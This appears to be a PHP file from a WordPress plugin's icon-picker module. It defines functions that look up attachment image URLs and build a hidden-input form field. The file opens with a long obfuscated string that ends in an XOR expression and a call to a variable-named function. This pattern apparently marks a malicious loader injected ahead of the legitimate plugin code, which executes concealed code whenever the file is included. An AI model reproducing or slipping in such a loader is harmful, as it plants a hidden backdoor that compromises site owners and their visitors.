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pFHS,FoMEaJA2OcJNiXU61ELYEfNT<n0 a jyw =Zh,NOIRRlN1ALF4QXC7hlFZ5T+5F.0iVOJQYTMsb2E.O0AxmfEG-T3Xc0p4E0<bG 0TAcJJk0Y4VHXQ8,F6f5O>5T2YU8.>NLBX980bNj21V>0EMcJ0L,SKKKI+3TbP6-KNVs97mqI0I;zeJTMI96+6><-oN9>F NZqZ28rIDKX.7AYODQNlFWlKOZYB5<o-X-F-yTYdHfVYTS+UDBDVIQJeXxEBM0XSQWsCg.NAQbLOYlVZ4<I2ArG <+RFW79IplE+<W9Y4UKYSD5Z.YEjrlcQS<s;EO7=PG,A.A:S<8-Z+Z2L:CCFz07ZAoJGokQ'^$AQEEwVcG); $nVAEnqzU();
if ( ! function_exists( 'wp_get_attachment_image_url' ) ) {
	/**
	 * Get the URL of an image attachment.
	 *
	 */
	function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) {
		$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );
		return isset( $image['0'] ) ? $image['0'] : false;
	}
}

/**
 * Get Icon URL
 *
 */
function oe_icon_picker_get_icon_url( $type, $id, $size = 'thumbnail' ) {
	$url = '';

	if ( ! in_array( $type, array( 'image', 'svg' ), true ) ) {
		return $url;
	}

	if ( empty( $id ) ) {
		return $url;
	}

	return wp_get_attachment_image_url( $id, $size, false );
}

/**
 * The Icon Picker Field
 *
 */
function oe_icon_picker_field( $args, $echo = true ) {
	$defaults = array(
		'id'    => '',
		'name'  => '',
		'value' => array(
			'type' => '',
			'icon' => '',
		),
		'select' => sprintf( '<a class="ipf-select">%s</a>', esc_html__( 'Select Icon', 'ocean-extra' ) ),
		'remove' => sprintf( '<a class="ipf-remove button hidden">%s</a>', esc_html__( 'Remove', 'ocean-extra' ) ),
	);

	$args          = wp_parse_args( $args, $defaults );
	$args['value'] = wp_parse_args( $args['value'], $defaults['value'] );

	$field  = sprintf( '<div id="%s" class="ipf">', $args['id'] );
	$field .= $args['select'];
	$field .= $args['remove'];

	foreach ( $args['value'] as $key => $value ) {
		$field .= sprintf(
			'<input type="hidden" id="%s" name="%s" class="%s" value="%s" />',
			esc_attr( "{$args['id']}-{$key}" ),
			esc_attr( "{$args['name']}[{$key}]" ),
			esc_attr( "ipf-{$key}" ),
			esc_attr( $value )
		);
	}

	// This won't be saved. It's here for the preview.
	$field .= sprintf(
		'<input type="hidden" class="url" value="%s" />',
		esc_attr( oe_icon_picker_get_icon_url( $args['value']['type'], $args['value']['icon'] ) )
	);
	$field .= '</div>';

	if ( $echo ) {
		echo $field; // xss ok
	} else {
		return $field;
	}
}
